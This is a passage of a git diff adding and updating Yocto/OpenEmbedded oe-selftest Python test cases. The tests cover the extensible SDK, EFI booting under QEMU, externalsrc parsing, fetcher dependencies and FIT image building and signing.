- toolchain_name = bb_vars['TOOLCHAINEXT_OUTPUTNAME']
- return os.path.join(sdk_deploy, toolchain_name + '.sh')
-
- @staticmethod
- def update_configuration(cls, image, tmpdir_eSDKQA, env_eSDK, ext_sdk_path):
- sstate_dir = os.path.join(os.environ['BUILDDIR'], 'sstate-cache')
-
- oeSDKExtSelfTest.generate_eSDK(cls.image)
-
- cls.ext_sdk_path = oeSDKExtSelfTest.get_eSDK_toolchain(cls.image)
- runCmd("%s -y -d \"%s\"" % (cls.ext_sdk_path, cls.tmpdir_eSDKQA))
-
- cls.env_eSDK = oeSDKExtSelfTest.get_esdk_environment('', cls.tmpdir_eSDKQA)
-
- sstate_config="""
-SDK_LOCAL_CONF_WHITELIST = "SSTATE_MIRRORS"
-SSTATE_MIRRORS = "file://.* file://%s/PATH"
-CORE_IMAGE_EXTRA_INSTALL = "perl"
- """ % sstate_dir
-
- with open(os.path.join(cls.tmpdir_eSDKQA, 'conf', 'local.conf'), 'a+') as f:
- f.write(sstate_config)
-
- @classmethod
- def setUpClass(cls):
- super(oeSDKExtSelfTest, cls).setUpClass()
- cls.image = 'core-image-minimal'
-
- bb_vars = get_bb_vars(['SSTATE_DIR', 'WORKDIR'], cls.image)
- bb.utils.mkdirhier(bb_vars["WORKDIR"])
- cls.tmpdirobj = tempfile.TemporaryDirectory(prefix="selftest-esdk-", dir=bb_vars["WORKDIR"])
- cls.tmpdir_eSDKQA = cls.tmpdirobj.name
-
- oeSDKExtSelfTest.generate_eSDK(cls.image)
-
- # Install eSDK
- cls.ext_sdk_path = oeSDKExtSelfTest.get_eSDK_toolchain(cls.image)
- runCmd("%s -y -d \"%s\"" % (cls.ext_sdk_path, cls.tmpdir_eSDKQA))
-
- cls.env_eSDK = oeSDKExtSelfTest.get_esdk_environment('', cls.tmpdir_eSDKQA)
-
- # Configure eSDK to use sstate mirror from poky
- sstate_config="""
-SDK_LOCAL_CONF_WHITELIST = "SSTATE_MIRRORS"
-SSTATE_MIRRORS = "file://.* file://%s/PATH"
- """ % bb_vars["SSTATE_DIR"]
- with open(os.path.join(cls.tmpdir_eSDKQA, 'conf', 'local.conf'), 'a+') as f:
- f.write(sstate_config)
-
- @classmethod
- def tearDownClass(cls):
- for i in range(0, 10):
- if os.path.exists(os.path.join(cls.tmpdir_eSDKQA, 'bitbake.lock')):
- time.sleep(1)
- else:
- break
- cls.tmpdirobj.cleanup()
- super().tearDownClass()
-
- def test_install_libraries_headers(self):
- pn_sstate = 'bc'
- bitbake(pn_sstate)
- cmd = "devtool sdk-install %s " % pn_sstate
- oeSDKExtSelfTest.run_esdk_cmd(self.env_eSDK, self.tmpdir_eSDKQA, cmd)
-
- def test_image_generation_binary_feeds(self):
- image = 'core-image-minimal'
- cmd = "devtool build-image %s" % image
- oeSDKExtSelfTest.run_esdk_cmd(self.env_eSDK, self.tmpdir_eSDKQA, cmd)
-
diff --git a/meta/lib/oeqa/selftest/cases/efibootpartition.py b/meta/lib/oeqa/selftest/cases/efibootpartition.py
index a61cf9bcb3..fa74103dec 100644
--- a/meta/lib/oeqa/selftest/cases/efibootpartition.py
+++ b/meta/lib/oeqa/selftest/cases/efibootpartition.py
@@ -5,42 +5,29 @@
# SPDX-License-Identifier: MIT
#
-import re
-
from oeqa.selftest.case import OESelftestTestCase
-from oeqa.utils.commands import bitbake, runqemu, get_bb_var
+from oeqa.utils.commands import bitbake, runqemu
+from oeqa.core.decorator.data import skipIfNotMachine
+import oe.types
class GenericEFITest(OESelftestTestCase):
"""EFI booting test class"""
+ @skipIfNotMachine("qemux86-64", "test is qemux86-64 specific currently")
+ def test_boot_efi(self):
+ cmd = "runqemu nographic serial wic ovmf"
+ if oe.types.qemu_use_kvm(self.td.get('QEMU_USE_KVM', 0), self.td["TARGET_ARCH"]):
+ cmd += " kvm"
+ image = "core-image-minimal"
- cmd_common = "runqemu nographic serial wic ovmf"
- efi_provider = "systemd-boot"
- image = "core-image-minimal"
- machine = "qemux86-64"
- recipes_built = False
-
- @classmethod
- def setUpLocal(self):
- super(GenericEFITest, self).setUpLocal(self)
-
- self.write_config(self,
-"""
-EFI_PROVIDER = "%s"
-IMAGE_FSTYPES_pn-%s_append = " wic"
-MACHINE = "%s"
-MACHINE_FEATURES_append = " efi"
+ self.write_config("""
+EFI_PROVIDER = "systemd-boot"
+IMAGE_FSTYPES:pn-%s:append = " wic"
+MACHINE_FEATURES:append = " efi"
WKS_FILE = "efi-bootdisk.wks.in"
-IMAGE_INSTALL_append = " grub-efi systemd-boot kernel-image-bzimage"
+IMAGE_INSTALL:append = " grub-efi systemd-boot kernel-image-bzimage"
"""
-% (self.efi_provider, self.image, self.machine))
- if not self.recipes_built:
- bitbake("ovmf")
- bitbake(self.image)
- self.recipes_built = True
+% (image))
- @classmethod
- def test_boot_efi(self):
- """Test generic boot partition with qemu"""
- cmd = "%s %s" % (self.cmd_common, self.machine)
- with runqemu(self.image, ssh=False, launch_cmd=cmd) as qemu:
+ bitbake(image + " ovmf")
+ with runqemu(image, ssh=False, launch_cmd=cmd) as qemu:
self.assertTrue(qemu.runner.logged, "Failed: %s" % cmd)
diff --git a/meta/lib/oeqa/selftest/cases/esdk.py b/meta/lib/oeqa/selftest/cases/esdk.py
new file mode 100644
index 0000000000..9f5de2cde7
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/esdk.py
@@ -0,0 +1,122 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+import tempfile
+import shutil
+import os
+import glob
+import time
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import runCmd, bitbake, get_bb_vars
+
+class oeSDKExtSelfTest(OESelftestTestCase):
+ """
+ # Bugzilla Test Plan: 6033
+ # This code is planned to be part of the automation for eSDK containig
+ # Install libraries and headers, image generation binary feeds, sdk-update.
+ """
+
+ @staticmethod
+ def get_esdk_environment(env_eSDK, tmpdir_eSDKQA):
+ # XXX: at this time use the first env need to investigate
+ # what environment load oe-selftest, i586, x86_64
+ pattern = os.path.join(tmpdir_eSDKQA, 'environment-setup-*')
+ return glob.glob(pattern)[0]
+
+ @staticmethod
+ def run_esdk_cmd(env_eSDK, tmpdir_eSDKQA, cmd, postconfig=None, **options):
+ if postconfig:
+ esdk_conf_file = os.path.join(tmpdir_eSDKQA, 'conf', 'local.conf')
+ with open(esdk_conf_file, 'a+') as f:
+ f.write(postconfig)
+ if not options:
+ options = {}
+ if not 'shell' in options:
+ options['shell'] = True
+
+ runCmd("cd %s; unset BBPATH; unset BUILDDIR; . %s; %s" % (tmpdir_eSDKQA, env_eSDK, cmd), **options)
+
+ @staticmethod
+ def generate_eSDK(image):
+ pn_task = '%s -c populate_sdk_ext' % image
+ bitbake(pn_task)
+
+ @staticmethod
+ def get_eSDK_toolchain(image):
+ pn_task = '%s -c populate_sdk_ext' % image
+
+ bb_vars = get_bb_vars(['SDK_DEPLOY', 'TOOLCHAINEXT_OUTPUTNAME'], pn_task)
+ sdk_deploy = bb_vars['SDK_DEPLOY']
+ toolchain_name = bb_vars['TOOLCHAINEXT_OUTPUTNAME']
+ return os.path.join(sdk_deploy, toolchain_name + '.sh')
+
+ @staticmethod
+ def update_configuration(cls, image, tmpdir_eSDKQA, env_eSDK, ext_sdk_path):
+ sstate_dir = os.path.join(os.environ['BUILDDIR'], 'sstate-cache')
+
+ oeSDKExtSelfTest.generate_eSDK(cls.image)
+
+ cls.ext_sdk_path = oeSDKExtSelfTest.get_eSDK_toolchain(cls.image)
+ runCmd("%s -y -d \"%s\"" % (cls.ext_sdk_path, cls.tmpdir_eSDKQA))
+
+ cls.env_eSDK = oeSDKExtSelfTest.get_esdk_environment('', cls.tmpdir_eSDKQA)
+
+ sstate_config="""
+ESDK_LOCALCONF_ALLOW = "SSTATE_MIRRORS"
+SSTATE_MIRRORS = "file://.* file://%s/PATH"
+CORE_IMAGE_EXTRA_INSTALL = "perl"
+ """ % sstate_dir
+
+ with open(os.path.join(cls.tmpdir_eSDKQA, 'conf', 'local.conf'), 'a+') as f:
+ f.write(sstate_config)
+
+ @classmethod
+ def setUpClass(cls):
+ super(oeSDKExtSelfTest, cls).setUpClass()
+ cls.image = 'core-image-minimal'
+
+ bb_vars = get_bb_vars(['SSTATE_DIR', 'WORKDIR'], cls.image)
+ bb.utils.mkdirhier(bb_vars["WORKDIR"])
+ cls.tmpdirobj = tempfile.TemporaryDirectory(prefix="selftest-esdk-", dir=bb_vars["WORKDIR"])
+ cls.tmpdir_eSDKQA = cls.tmpdirobj.name
+
+ oeSDKExtSelfTest.generate_eSDK(cls.image)
+
+ # Install eSDK
+ cls.ext_sdk_path = oeSDKExtSelfTest.get_eSDK_toolchain(cls.image)
+ runCmd("%s -y -d \"%s\"" % (cls.ext_sdk_path, cls.tmpdir_eSDKQA))
+
+ cls.env_eSDK = oeSDKExtSelfTest.get_esdk_environment('', cls.tmpdir_eSDKQA)
+
+ # Configure eSDK to use sstate mirror from poky
+ sstate_config="""
+ESDK_LOCALCONF_ALLOW = "SSTATE_MIRRORS"
+SSTATE_MIRRORS = "file://.* file://%s/PATH"
+ """ % bb_vars["SSTATE_DIR"]
+ with open(os.path.join(cls.tmpdir_eSDKQA, 'conf', 'local.conf'), 'a+') as f:
+ f.write(sstate_config)
+
+ @classmethod
+ def tearDownClass(cls):
+ for i in range(0, 10):
+ if os.path.exists(os.path.join(cls.tmpdir_eSDKQA, 'bitbake.lock')) or os.path.exists(os.path.join(cls.tmpdir_eSDKQA, 'cache/hashserv.db-wal')):
+ time.sleep(1)
+ else:
+ break
+ cls.tmpdirobj.cleanup()
+ super().tearDownClass()
+
+ def test_install_libraries_headers(self):
+ pn_sstate = 'bc'
+ bitbake(pn_sstate)
+ cmd = "devtool sdk-install %s " % pn_sstate
+ oeSDKExtSelfTest.run_esdk_cmd(self.env_eSDK, self.tmpdir_eSDKQA, cmd)
+
+ def test_image_generation_binary_feeds(self):
+ image = 'core-image-minimal'
+ cmd = "devtool build-image %s" % image
+ oeSDKExtSelfTest.run_esdk_cmd(self.env_eSDK, self.tmpdir_eSDKQA, cmd)
+
diff --git a/meta/lib/oeqa/selftest/cases/externalsrc.py b/meta/lib/oeqa/selftest/cases/externalsrc.py
new file mode 100644
index 0000000000..1d800dc82c
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/externalsrc.py
@@ -0,0 +1,44 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+import os
+import shutil
+import tempfile
+
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import get_bb_var, runCmd
+
+class ExternalSrc(OESelftestTestCase):
+ # test that srctree_hash_files does not crash
+ # we should be actually checking do_compile[file-checksums] but oeqa currently does not support it
+ # so we check only that a recipe with externalsrc can be parsed
+ def test_externalsrc_srctree_hash_files(self):
+ test_recipe = "git-submodule-test"
+ git_url = "git://git.yoctoproject.org/git-submodule-test"
+ externalsrc_dir = tempfile.TemporaryDirectory(prefix="externalsrc").name
+
+ self.write_config(
+ """
+INHERIT += "externalsrc"
+EXTERNALSRC:pn-%s = "%s"
+""" % (test_recipe, externalsrc_dir)
+ )
+
+ # test with git without submodules
+ runCmd('git clone %s %s' % (git_url, externalsrc_dir))
+ os.unlink(externalsrc_dir + "/.gitmodules")
+ open(".gitmodules", 'w').close() # local file .gitmodules in cwd should not affect externalsrc parsing
+ self.assertEqual(get_bb_var("S", test_recipe), externalsrc_dir, msg = "S does not equal to EXTERNALSRC")
+ os.unlink(".gitmodules")
+
+ # test with git with submodules
+ runCmd('git checkout .gitmodules', cwd=externalsrc_dir)
+ runCmd('git submodule update --init --recursive', cwd=externalsrc_dir)
+ self.assertEqual(get_bb_var("S", test_recipe), externalsrc_dir, msg = "S does not equal to EXTERNALSRC")
+
+ # test without git
+ shutil.rmtree(os.path.join(externalsrc_dir, ".git"))
+ self.assertEqual(get_bb_var("S", test_recipe), externalsrc_dir, msg = "S does not equal to EXTERNALSRC")
diff --git a/meta/lib/oeqa/selftest/cases/fetch.py b/meta/lib/oeqa/selftest/cases/fetch.py
index 76cbadf2ff..44099176fc 100644
--- a/meta/lib/oeqa/selftest/cases/fetch.py
+++ b/meta/lib/oeqa/selftest/cases/fetch.py
@@ -1,7 +1,12 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
+import tempfile
+import textwrap
+import bb.tinfoil
import oe.path
from oeqa.selftest.case import OESelftestTestCase
from oeqa.utils.commands import bitbake
@@ -21,8 +26,8 @@ class Fetch(OESelftestTestCase):
# No mirrors, should use git to fetch successfully
features = """
DL_DIR = "%s"
-MIRRORS_forcevariable = ""
-PREMIRRORS_forcevariable = ""
+MIRRORS:forcevariable = ""
+PREMIRRORS:forcevariable = ""
""" % dldir
self.write_config(features)
oe.path.remove(dldir, recurse=True)
@@ -31,9 +36,10 @@ PREMIRRORS_forcevariable = ""
# No mirrors and broken git, should fail
features = """
DL_DIR = "%s"
+SRC_URI:pn-dbus-wait = "git://git.yoctoproject.org/dbus-wait;branch=master;protocol=git"
GIT_PROXY_COMMAND = "false"
-MIRRORS_forcevariable = ""
-PREMIRRORS_forcevariable = ""
+MIRRORS:forcevariable = ""
+PREMIRRORS:forcevariable = ""
""" % dldir
self.write_config(features)
oe.path.remove(dldir, recurse=True)
@@ -43,9 +49,62 @@ PREMIRRORS_forcevariable = ""
# Broken git but a specific mirror
features = """
DL_DIR = "%s"
+SRC_URI:pn-dbus-wait = "git://git.yoctoproject.org/dbus-wait;branch=master;protocol=git"
GIT_PROXY_COMMAND = "false"
-MIRRORS_forcevariable = "git://.*/.* http://downloads.yoctoproject.org/mirror/sources/"
+MIRRORS:forcevariable = "git://.*/.* http://downloads.yoctoproject.org/mirror/sources/"
""" % dldir
self.write_config(features)
oe.path.remove(dldir, recurse=True)
bitbake("dbus-wait -c fetch -f")
+
+
+class Dependencies(OESelftestTestCase):
+ def write_recipe(self, content, tempdir):
+ f = os.path.join(tempdir, "test.bb")
+ with open(f, "w") as fd:
+ fd.write(content)
+ return f
+
+ def test_dependencies(self):
+ """
+ Verify that the correct dependencies are generated for specific SRC_URI entries.
+ """
+
+ with bb.tinfoil.Tinfoil() as tinfoil, tempfile.TemporaryDirectory(prefix="selftest-fetch") as tempdir:
+ tinfoil.prepare(config_only=False, quiet=2)
+
+ r = """
+ LICENSE="CLOSED"
+ SRC_URI="http://example.com/tarball.zip"
+ """
+ f = self.write_recipe(textwrap.dedent(r), tempdir)
+ d = tinfoil.parse_recipe_file(f)
+ self.assertIn("wget-native", d.getVarFlag("do_fetch", "depends"))
+ self.assertIn("unzip-native", d.getVarFlag("do_unpack", "depends"))
+
+ # Verify that the downloadfilename overrides the URI
+ r = """
+ LICENSE="CLOSED"
+ SRC_URI="https://example.com/tarball;downloadfilename=something.zip"
+ """
+ f = self.write_recipe(textwrap.dedent(r), tempdir)
+ d = tinfoil.parse_recipe_file(f)
+ self.assertIn("wget-native", d.getVarFlag("do_fetch", "depends"))
+ self.assertIn("unzip-native", d.getVarFlag("do_unpack", "depends") or "")
+
+ r = """
+ LICENSE="CLOSED"
+ SRC_URI="ftp://example.com/tarball.lz"
+ """
+ f = self.write_recipe(textwrap.dedent(r), tempdir)
+ d = tinfoil.parse_recipe_file(f)
+ self.assertIn("wget-native", d.getVarFlag("do_fetch", "depends"))
+ self.assertIn("lzip-native", d.getVarFlag("do_unpack", "depends"))
+
+ r = """
+ LICENSE="CLOSED"
+ SRC_URI="git://example.com/repo;branch=master;rev=ffffffffffffffffffffffffffffffffffffffff"
+ """
+ f = self.write_recipe(textwrap.dedent(r), tempdir)
+ d = tinfoil.parse_recipe_file(f)
+ self.assertIn("git-native", d.getVarFlag("do_fetch", "depends"))
diff --git a/meta/lib/oeqa/selftest/cases/fitimage.py b/meta/lib/oeqa/selftest/cases/fitimage.py
new file mode 100644
index 0000000000..347c065377
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/fitimage.py
@@ -0,0 +1,846 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import runCmd, bitbake, get_bb_var, get_bb_vars
+import os
+import re
+
+class FitImageTests(OESelftestTestCase):
+
+ def test_fit_image(self):
+ """
+ Summary: Check if FIT image and Image Tree Source (its) are built
+ and the Image Tree Source has the correct fields.
+ Expected: 1. fitImage and fitImage-its can be built
+ 2. The type, load address, entrypoint address and
+ default values of kernel and ramdisk are as expected
+ in the Image Tree Source. Not all the fields are tested,
+ only the key fields that wont vary between different
+ architectures.
+ Product: oe-core
+ Author: Usama Arif <usama.arif@arm.com>
+ """
+ config = """
+# Enable creation of fitImage
+KERNEL_IMAGETYPE = "Image"
+KERNEL_IMAGETYPES += " fitImage "
+KERNEL_CLASSES = " kernel-fitimage "
+
+# RAM disk variables including load address and entrypoint for kernel and RAM disk
+IMAGE_FSTYPES += "cpio.gz"
+INITRAMFS_IMAGE = "core-image-minimal"
+# core-image-minimal is used as initramfs here, drop the rootfs suffix
+IMAGE_NAME_SUFFIX:pn-core-image-minimal = ""
+UBOOT_RD_LOADADDRESS = "0x88000000"
+UBOOT_RD_ENTRYPOINT = "0x88000000"
+UBOOT_LOADADDRESS = "0x80080000"
+UBOOT_ENTRYPOINT = "0x80080000"
+FIT_DESC = "A model description"
+"""
+ self.write_config(config)
+
+ # fitImage is created as part of linux recipe
+ image = "virtual/kernel"
+ bitbake(image)
+ bb_vars = get_bb_vars(['DEPLOY_DIR_IMAGE', 'INITRAMFS_IMAGE_NAME', 'KERNEL_FIT_LINK_NAME'], image)
+
+ fitimage_its_path = os.path.join(bb_vars['DEPLOY_DIR_IMAGE'],
+ "fitImage-its-%s-%s" % (bb_vars['INITRAMFS_IMAGE_NAME'], bb_vars['KERNEL_FIT_LINK_NAME']))
+ fitimage_path = os.path.join(bb_vars['DEPLOY_DIR_IMAGE'],
+ "fitImage-%s-%s" % (bb_vars['INITRAMFS_IMAGE_NAME'], bb_vars['KERNEL_FIT_LINK_NAME']))
+
+ self.assertTrue(os.path.exists(fitimage_its_path),
+ "%s image tree source doesn't exist" % (fitimage_its_path))
+ self.assertTrue(os.path.exists(fitimage_path),
+ "%s FIT image doesn't exist" % (fitimage_path))
+
+ # Check that the type, load address, entrypoint address and default
+ # values for kernel and ramdisk in Image Tree Source are as expected.
+ # The order of fields in the below array is important. Not all the
+ # fields are tested, only the key fields that wont vary between
+ # different architectures.
+ its_field_check = [
+ 'description = "A model description";',
+ 'type = "kernel";',
+ 'load = <0x80080000>;',
+ 'entry = <0x80080000>;',
+ 'type = "ramdisk";',
+ 'load = <0x88000000>;',
+ 'entry = <0x88000000>;',
+ 'default = "conf-1";',
+ 'kernel = "kernel-1";',
+ 'ramdisk = "ramdisk-1";'
+ ]
+
+ with open(fitimage_its_path) as its_file:
+ field_index = 0
+ for line in its_file:
+ if field_index == len(its_field_check):
+ break
+ if its_field_check[field_index] in line:
+ field_index +=1
+
+ if field_index != len(its_field_check): # if its equal, the test passed
+ self.assertTrue(field_index == len(its_field_check),
+ "Fields in Image Tree Source File %s did not match, error in finding %s"
+ % (fitimage_its_path, its_field_check[field_index]))
+
+
+ def test_sign_fit_image(self):
+ """
+ Summary: Check if FIT image and Image Tree Source (its) are created
+ and signed correctly.
+ Expected: 1) its and FIT image are built successfully
+ 2) Scanning the its file indicates signing is enabled
+ as requested by UBOOT_SIGN_ENABLE (using keys generated
+ via FIT_GENERATE_KEYS)
+ 3) Dumping the FIT image indicates signature values
+ are present (including for images as enabled via
+ FIT_SIGN_INDIVIDUAL)
+ 4) Examination of the do_assemble_fitimage runfile/logfile
+ indicate that UBOOT_MKIMAGE, UBOOT_MKIMAGE_SIGN and
+ UBOOT_MKIMAGE_SIGN_ARGS are working as expected.
+ Product: oe-core
+ Author: Paul Eggleton <paul.eggleton@microsoft.com> based upon
+ work by Usama Arif <usama.arif@arm.com>
+ """
+ config = """
+# Enable creation of fitImage
+MACHINE = "beaglebone-yocto"
+KERNEL_IMAGETYPES += " fitImage "
+KERNEL_CLASSES = " kernel-fitimage test-mkimage-wrapper "
+UBOOT_SIGN_ENABLE = "1"
+FIT_GENERATE_KEYS = "1"
+UBOOT_SIGN_KEYDIR = "${TOPDIR}/signing-keys"
+UBOOT_SIGN_IMG_KEYNAME = "img-oe-selftest"
+UBOOT_SIGN_KEYNAME = "cfg-oe-selftest"
+FIT_SIGN_INDIVIDUAL = "1"
+UBOOT_MKIMAGE_SIGN_ARGS = "-c 'a smart comment'"
+"""
+ self.write_config(config)
+
+ # fitImage is created as part of linux recipe
+ image = "virtual/kernel"
+ bitbake(image)
+ bb_vars = get_bb_vars(['DEPLOY_DIR_IMAGE', 'KERNEL_FIT_LINK_NAME'], image)
+
+ fitimage_its_path = os.path.join(bb_vars['DEPLOY_DIR_IMAGE'],
+ "fitImage-its-%s" % (bb_vars['KERNEL_FIT_LINK_NAME']))
+ fitimage_path = os.path.join(bb_vars['DEPLOY_DIR_IMAGE'],
+ "fitImage-%s.bin" % (bb_vars['KERNEL_FIT_LINK_NAME']))
+
+ self.assertTrue(os.path.exists(fitimage_its_path),
+ "%s image tree source doesn't exist" % (fitimage_its_path))
+ self.assertTrue(os.path.exists(fitimage_path),
+ "%s FIT image doesn't exist" % (fitimage_path))
+
+ req_itspaths = [
+ ['/', 'images', 'kernel-1'],
+ ['/', 'images', 'kernel-1', 'signature-1'],
+ ['/', 'images', 'fdt-am335x-boneblack.dtb'],
+ ['/', 'images', 'fdt-am335x-boneblack.dtb', 'signature-1'],
+ ['/', 'configurations', 'conf-am335x-boneblack.dtb'],
+ ['/', 'configurations', 'conf-am335x-boneblack.dtb', 'signature-1'],
+ ]
+
+ itspath = []
+ itspaths = []
+ linect = 0
+ sigs = {}
+ with open(fitimage_its_path) as its_file:
+ linect += 1
+ for line in its_file:
+ line = line.strip()
+ if line.endswith('};'):
+ itspath.pop()
+ elif line.endswith('{'):
+ itspath.append(line[:-1].strip())
+ itspaths.append(itspath[:])
+ elif itspath and itspath[-1] == 'signature-1':
+ itsdotpath = '.'.join(itspath)
+ if not itsdotpath in sigs:
+ sigs[itsdotpath] = {}
+ if not '=' in line or not line.endswith(';'):
+ self.fail('Unexpected formatting in %s sigs section line %d:%s' % (fitimage_its_path, linect, line))
+ key, value = line.split('=', 1)
+ sigs[itsdotpath][key.rstrip()] = value.lstrip().rstrip(';')
+
+ for reqpath in req_itspaths:
+ if not reqpath in itspaths:
+ self.fail('Missing section in its file: %s' % reqpath)
+
+ reqsigvalues_image = {
+ 'algo': '"sha256,rsa2048"',
+ 'key-name-hint': '"img-oe-selftest"',
+ }
+ reqsigvalues_config = {
+ 'algo': '"sha256,rsa2048"',
+ 'key-name-hint': '"cfg-oe-selftest"',
+ 'sign-images': '"kernel", "fdt"',
+ }
+
+ for itspath, values in sigs.items():
+ if 'conf-' in itspath:
+ reqsigvalues = reqsigvalues_config
+ else:
+ reqsigvalues = reqsigvalues_image
+ for reqkey, reqvalue in reqsigvalues.items():
+ value = values.get(reqkey, None)
+ if value is None:
+ self.fail('Missing key "%s" in its file signature section %s' % (reqkey, itspath))
+ self.assertEqual(value, reqvalue)
+
+ # Dump the image to see if it really got signed
+ bitbake("u-boot-tools-native -c addto_recipe_sysroot")
+ result = runCmd('bitbake -e u-boot-tools-native | grep ^RECIPE_SYSROOT_NATIVE=')
+ recipe_sysroot_native = result.output.split('=')[1].strip('"')
+ dumpimage_path = os.path.join(recipe_sysroot_native, 'usr', 'bin', 'dumpimage')
+ result = runCmd('%s -l %s' % (dumpimage_path, fitimage_path))
+ in_signed = None
+ signed_sections = {}
+ for line in result.output.splitlines():
+ if line.startswith((' Configuration', ' Image')):
+ in_signed = re.search(r'\((.*)\)', line).groups()[0]
+ elif re.match('^ *', line) in (' ', ''):
+ in_signed = None
+ elif in_signed:
+ if not in_signed in signed_sections:
+ signed_sections[in_signed] = {}
+ key, value = line.split(':', 1)
+ signed_sections[in_signed][key.strip()] = value.strip()
+ self.assertIn('kernel-1', signed_sections)
+ self.assertIn('fdt-am335x-boneblack.dtb', signed_sections)
+ self.assertIn('conf-am335x-boneblack.dtb', signed_sections)
+ for signed_section, values in signed_sections.items():
+ value = values.get('Sign algo', None)
+ if signed_section.startswith("conf"):
+ self.assertEqual(value, 'sha256,rsa2048:cfg-oe-selftest', 'Signature algorithm for %s not expected value' % signed_section)
+ else:
+ self.assertEqual(value, 'sha256,rsa2048:img-oe-selftest', 'Signature algorithm for %s not expected value' % signed_section)
+ value = values.get('Sign value', None)
+ self.assertEqual(len(value), 512, 'Signature value for section %s not expected length' % signed_section)
+
+ # Check for UBOOT_MKIMAGE_SIGN_ARGS
+ result = runCmd('bitbake -e virtual/kernel | grep ^T=')
+ tempdir = result.output.split('=', 1)[1].strip().strip('')
+ result = runCmd('grep "a smart comment" %s/run.do_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'UBOOT_MKIMAGE_SIGN_ARGS value did not get used')
+
+ # Check for evidence of test-mkimage-wrapper class
+ result = runCmd('grep "### uboot-mkimage wrapper message" %s/log.do_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'UBOOT_MKIMAGE did not work')
+ result = runCmd('grep "### uboot-mkimage signing wrapper message" %s/log.do_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'UBOOT_MKIMAGE_SIGN did not work')
+
+ def test_uboot_fit_image(self):
+ """
+ Summary: Check if Uboot FIT image and Image Tree Source
+ (its) are built and the Image Tree Source has the
+ correct fields.
+ Expected: 1. u-boot-fitImage and u-boot-its can be built
+ 2. The type, load address, entrypoint address and
+ default values of U-boot image are correct in the
+ Image Tree Source. Not all the fields are tested,
+ only the key fields that wont vary between
+ different architectures.
+ Product: oe-core
+ Author: Klaus Heinrich Kiwi <klaus@linux.vnet.ibm.com>
+ based on work by Usama Arif <usama.arif@arm.com>
+ """
+ config = """
+# We need at least CONFIG_SPL_LOAD_FIT and CONFIG_SPL_OF_CONTROL set
+MACHINE = "qemuarm"
+UBOOT_MACHINE = "am57xx_evm_defconfig"
+SPL_BINARY = "MLO"
+
+# Enable creation of the U-Boot fitImage
+UBOOT_FITIMAGE_ENABLE = "1"
+
+# (U-boot) fitImage properties
+UBOOT_LOADADDRESS = "0x80080000"
+UBOOT_ENTRYPOINT = "0x80080000"
+UBOOT_FIT_DESC = "A model description"
+
+# Enable creation of Kernel fitImage
+KERNEL_IMAGETYPES += " fitImage "
+KERNEL_CLASSES = " kernel-fitimage"
+UBOOT_SIGN_ENABLE = "1"
+FIT_GENERATE_KEYS = "1"
+UBOOT_SIGN_KEYDIR = "${TOPDIR}/signing-keys"
+UBOOT_SIGN_IMG_KEYNAME = "img-oe-selftest"
+UBOOT_SIGN_KEYNAME = "cfg-oe-selftest"
+FIT_SIGN_INDIVIDUAL = "1"
+"""
+ self.write_config(config)
+
+ # The U-Boot fitImage is created as part of the U-Boot recipe
+ bitbake("virtual/bootloader")
+
+ deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
+ machine = get_bb_var('MACHINE')
+ fitimage_its_path = os.path.join(deploy_dir_image,
+ "u-boot-its-%s" % (machine,))
+ fitimage_path = os.path.join(deploy_dir_image,
+ "u-boot-fitImage-%s" % (machine,))
+
+ self.assertTrue(os.path.exists(fitimage_its_path),
+ "%s image tree source doesn't exist" % (fitimage_its_path))
+ self.assertTrue(os.path.exists(fitimage_path),
+ "%s FIT image doesn't exist" % (fitimage_path))
+
+ # Check that the type, load address, entrypoint address and default
+ # values for kernel and ramdisk in Image Tree Source are as expected.
+ # The order of fields in the below array is important. Not all the
+ # fields are tested, only the key fields that wont vary between
+ # different architectures.
+ its_field_check = [
+ 'description = "A model description";',
+ 'type = "standalone";',
+ 'load = <0x80080000>;',
+ 'entry = <0x80080000>;',
+ 'default = "conf";',
+ 'loadables = "uboot";',
+ 'fdt = "fdt";'
+ ]
+
+ with open(fitimage_its_path) as its_file:
+ field_index = 0
+ for line in its_file:
+ if field_index == len(its_field_check):
+ break
+ if its_field_check[field_index] in line:
+ field_index +=1
+
+ if field_index != len(its_field_check): # if its equal, the test passed
+ self.assertTrue(field_index == len(its_field_check),
+ "Fields in Image Tree Source File %s did not match, error in finding %s"
+ % (fitimage_its_path, its_field_check[field_index]))
+
+ def test_uboot_sign_fit_image(self):
+ """
+ Summary: Check if Uboot FIT image and Image Tree Source
+ (its) are built and the Image Tree Source has the
+ correct fields, in the scenario where the Kernel
+ is also creating/signing it's fitImage.
+ Expected: 1. u-boot-fitImage and u-boot-its can be built
+ 2. The type, load address, entrypoint address and
+ default values of U-boot image are correct in the
+ Image Tree Source. Not all the fields are tested,
+ only the key fields that wont vary between
+ different architectures.
+ Product: oe-core
+ Author: Klaus Heinrich Kiwi <klaus@linux.vnet.ibm.com>
+ based on work by Usama Arif <usama.arif@arm.com>
+ """
+ config = """
+# We need at least CONFIG_SPL_LOAD_FIT and CONFIG_SPL_OF_CONTROL set
+MACHINE = "qemuarm"
+UBOOT_MACHINE = "am57xx_evm_defconfig"
+SPL_BINARY = "MLO"
+
+# Enable creation of the U-Boot fitImage
+UBOOT_FITIMAGE_ENABLE = "1"
+
+# (U-boot) fitImage properties
+UBOOT_LOADADDRESS = "0x80080000"
+UBOOT_ENTRYPOINT = "0x80080000"
+UBOOT_FIT_DESC = "A model description"
+KERNEL_IMAGETYPES += " fitImage "
+KERNEL_CLASSES = " kernel-fitimage "
+INHERIT += "test-mkimage-wrapper"
+UBOOT_SIGN_ENABLE = "1"
+FIT_GENERATE_KEYS = "1"
